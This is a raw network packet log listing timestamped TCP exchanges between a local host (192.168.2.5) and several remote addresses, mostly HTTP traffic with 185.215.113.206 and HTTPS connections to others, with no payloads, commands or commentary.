Nov 11, 2024 21:59:22.568713903 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568736076 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.568759918 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.568793058 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568809986 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568820953 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568831921 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568842888 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.568844080 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568855047 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568866968 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568877935 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.568878889 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568890095 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568893909 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.568901062 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568917990 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568922997 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.568928003 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.568929911 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568941116 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568947077 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.568952084 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.568970919 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.568996906 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569048882 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569058895 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569072008 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569083929 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569089890 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569094896 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569102049 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569107056 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569117069 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569128036 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569132090 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569140911 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569148064 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569153070 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569164038 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569166899 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569180012 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569195032 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569197893 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569209099 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569217920 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569220066 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569230080 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569258928 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569386005 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569399118 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569410086 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569422007 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569432974 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569436073 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569444895 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569463015 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569463015 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569474936 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569487095 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569493055 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569499016 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569509983 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569520950 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569533110 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569536924 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569540024 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569550991 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569554090 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569562912 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569574118 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569576025 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569585085 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569607973 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569622993 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569632053 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569643974 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569658995 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569670916 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569681883 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569684982 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569693089 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569705009 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569713116 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569725037 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569753885 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569777966 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569797993 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569809914 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569813013 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569824934 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569833040 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569837093 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569840908 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569849014 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569859982 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569869041 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569870949 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569875956 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569884062 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569911003 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569916010 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569922924 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569935083 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569935083 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569947958 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569955111 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569961071 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569972038 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569983006 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.569983959 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.569996119 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.570008039 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.570008993 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.570020914 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.570029020 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.570046902 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.570074081 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.587543964 CET	58761	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.587609053 CET	443	58761	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.587729931 CET	58762	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.587764025 CET	443	58762	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.587793112 CET	58761	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.587827921 CET	58762	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.587898970 CET	58763	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.587905884 CET	443	58763	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.587959051 CET	58763	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.588073969 CET	58764	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.588108063 CET	443	58764	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.588155031 CET	58764	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.588273048 CET	58765	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.588320971 CET	443	58765	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.588479996 CET	58765	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.588824034 CET	58764	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.588838100 CET	443	58764	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.588958025 CET	58763	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.588970900 CET	443	58763	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.589210987 CET	58762	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.589221001 CET	443	58762	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.589404106 CET	58761	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.589413881 CET	443	58761	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.589591026 CET	58765	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.589607000 CET	443	58765	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.690774918 CET	443	58754	20.96.153.111	192.168.2.5
Nov 11, 2024 21:59:22.691137075 CET	58754	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.691179037 CET	443	58754	20.96.153.111	192.168.2.5
Nov 11, 2024 21:59:22.692692041 CET	443	58754	20.96.153.111	192.168.2.5
Nov 11, 2024 21:59:22.692764997 CET	58754	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.694116116 CET	58754	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.694215059 CET	443	58754	20.96.153.111	192.168.2.5
Nov 11, 2024 21:59:22.694231987 CET	58754	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.703028917 CET	58766	443	192.168.2.5	20.110.205.119
Nov 11, 2024 21:59:22.703075886 CET	443	58766	20.110.205.119	192.168.2.5
Nov 11, 2024 21:59:22.703186035 CET	58766	443	192.168.2.5	20.110.205.119
Nov 11, 2024 21:59:22.703413963 CET	58766	443	192.168.2.5	20.110.205.119
Nov 11, 2024 21:59:22.703428030 CET	443	58766	20.110.205.119	192.168.2.5
Nov 11, 2024 21:59:22.721693039 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.724572897 CET	443	58753	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:22.725286007 CET	58753	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:22.725305080 CET	443	58753	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:22.726356030 CET	443	58753	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:22.726423025 CET	58753	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:22.726526022 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.727840900 CET	58753	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:22.727948904 CET	443	58753	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:22.728229046 CET	58753	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:22.728239059 CET	443	58753	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:22.728251934 CET	58753	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:22.728269100 CET	443	58753	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:22.739336014 CET	443	58754	20.96.153.111	192.168.2.5
Nov 11, 2024 21:59:22.767988920 CET	443	58756	108.138.128.93	192.168.2.5
Nov 11, 2024 21:59:22.769314051 CET	58756	443	192.168.2.5	108.138.128.93
Nov 11, 2024 21:59:22.769364119 CET	443	58756	108.138.128.93	192.168.2.5
Nov 11, 2024 21:59:22.769918919 CET	443	58756	108.138.128.93	192.168.2.5
Nov 11, 2024 21:59:22.770288944 CET	58756	443	192.168.2.5	108.138.128.93
Nov 11, 2024 21:59:22.770376921 CET	443	58756	108.138.128.93	192.168.2.5
Nov 11, 2024 21:59:22.770508051 CET	58753	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:22.772134066 CET	58756	443	192.168.2.5	108.138.128.93
Nov 11, 2024 21:59:22.815354109 CET	443	58756	108.138.128.93	192.168.2.5
Nov 11, 2024 21:59:22.821122885 CET	443	58754	20.96.153.111	192.168.2.5
Nov 11, 2024 21:59:22.821211100 CET	58754	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.828900099 CET	58767	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.828936100 CET	443	58767	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.829008102 CET	58767	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.830384016 CET	58754	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.830408096 CET	443	58754	20.96.153.111	192.168.2.5
Nov 11, 2024 21:59:22.831325054 CET	58767	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.831343889 CET	443	58767	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.839696884 CET	58768	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.839714050 CET	443	58768	20.96.153.111	192.168.2.5
Nov 11, 2024 21:59:22.839793921 CET	58768	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.840015888 CET	58768	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.840032101 CET	443	58768	20.96.153.111	192.168.2.5
Nov 11, 2024 21:59:22.843379021 CET	58751	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:22.843465090 CET	443	58751	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:22.843534946 CET	58752	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:22.843568087 CET	58751	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:22.843583107 CET	443	58752	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:22.843626976 CET	58752	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:22.843718052 CET	58755	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:22.843997955 CET	58769	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:22.844038963 CET	443	58769	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:22.844187021 CET	58769	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:22.844332933 CET	58769	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:22.844342947 CET	443	58769	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:22.845443964 CET	58768	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.845709085 CET	58746	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:22.845767975 CET	58745	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:22.845801115 CET	443	58746	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:22.845803022 CET	58766	443	192.168.2.5	20.110.205.119
Nov 11, 2024 21:59:22.845841885 CET	443	58745	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:22.845849037 CET	58746	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:22.845856905 CET	58732	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:22.845891953 CET	58745	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:22.845923901 CET	443	58732	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:22.845935106 CET	58731	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:22.845954895 CET	58734	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:22.845971107 CET	58732	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:22.846009016 CET	443	58731	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:22.846025944 CET	58733	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:22.846028090 CET	443	58734	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:22.846101046 CET	443	58733	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:22.846146107 CET	58731	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:22.846164942 CET	58734	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:22.846213102 CET	58733	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:22.846282959 CET	58761	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.846417904 CET	58762	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.846498966 CET	58763	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.846543074 CET	58764	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.846584082 CET	58765	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.846625090 CET	58767	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.847560883 CET	58770	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.847574949 CET	443	58770	20.96.153.111	192.168.2.5
Nov 11, 2024 21:59:22.847618103 CET	58770	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.847872972 CET	58771	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.847896099 CET	443	58771	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.847966909 CET	58771	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.848100901 CET	58772	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.848109961 CET	443	58772	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.848318100 CET	58772	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.848376989 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.848404884 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.848522902 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.848572969 CET	58774	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.848582983 CET	443	58774	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.848629951 CET	58774	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.848747969 CET	58775	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.848762035 CET	443	58775	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.848825932 CET	58775	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.849008083 CET	58776	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.849035025 CET	443	58776	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.849456072 CET	58777	443	192.168.2.5	20.110.205.119
Nov 11, 2024 21:59:22.849456072 CET	58776	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.849464893 CET	443	58777	20.110.205.119	192.168.2.5
Nov 11, 2024 21:59:22.849611044 CET	58777	443	192.168.2.5	20.110.205.119
Nov 11, 2024 21:59:22.849850893 CET	58770	443	192.168.2.5	20.96.153.111
Nov 11, 2024 21:59:22.849864960 CET	443	58770	20.96.153.111	192.168.2.5
Nov 11, 2024 21:59:22.849960089 CET	58771	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.849980116 CET	443	58771	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.850060940 CET	58772	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.850074053 CET	443	58772	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.850155115 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.850167990 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.850241899 CET	58774	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.850253105 CET	443	58774	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.850342035 CET	58775	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.850351095 CET	443	58775	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.850908995 CET	58776	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:22.850922108 CET	443	58776	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.851084948 CET	58777	443	192.168.2.5	20.110.205.119
Nov 11, 2024 21:59:22.851094007 CET	443	58777	20.110.205.119	192.168.2.5
Nov 11, 2024 21:59:22.854724884 CET	443	58755	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:22.854851961 CET	443	58755	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:22.854878902 CET	58755	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:22.854909897 CET	58755	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:22.872392893 CET	443	58756	108.138.128.93	192.168.2.5
Nov 11, 2024 21:59:22.872479916 CET	443	58756	108.138.128.93	192.168.2.5
Nov 11, 2024 21:59:22.872600079 CET	58756	443	192.168.2.5	108.138.128.93
Nov 11, 2024 21:59:22.873348951 CET	58756	443	192.168.2.5	108.138.128.93
Nov 11, 2024 21:59:22.873375893 CET	443	58756	108.138.128.93	192.168.2.5
Nov 11, 2024 21:59:22.873405933 CET	58756	443	192.168.2.5	108.138.128.93
Nov 11, 2024 21:59:22.873425007 CET	58756	443	192.168.2.5	108.138.128.93
Nov 11, 2024 21:59:22.875705004 CET	443	58753	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:22.876178026 CET	58753	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:22.876230001 CET	443	58753	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:22.876313925 CET	58753	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:22.877159119 CET	443	58757	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.882085085 CET	58757	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.882107973 CET	443	58757	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.882597923 CET	58757	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.882602930 CET	443	58757	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.887331963 CET	443	58766	20.110.205.119	192.168.2.5
Nov 11, 2024 21:59:22.887348890 CET	443	58762	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.889738083 CET	443	58758	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.890322924 CET	58758	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.890371084 CET	443	58758	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.890760899 CET	58758	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.890768051 CET	443	58758	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.891321898 CET	443	58767	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.891333103 CET	443	58763	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.891334057 CET	443	58764	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.891336918 CET	443	58765	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.891349077 CET	443	58761	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:22.891355991 CET	443	58768	20.96.153.111	192.168.2.5
Nov 11, 2024 21:59:22.893624067 CET	443	58759	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.894119978 CET	443	58760	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.894499063 CET	58759	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.894516945 CET	443	58759	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.894743919 CET	58760	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.894782066 CET	443	58760	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.895245075 CET	58759	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.895248890 CET	443	58759	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.895459890 CET	58760	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.895472050 CET	443	58760	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.936151028 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936175108 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936187029 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936218977 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936244011 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936254025 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936261892 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936271906 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936274052 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936285973 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936311007 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936326027 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936326027 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936328888 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936343908 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936356068 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936359882 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936369896 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936378002 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936386108 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936392069 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936404943 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936420918 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936477900 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936490059 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936501026 CET	80	58697	185.215.113.206	192.168.2.5
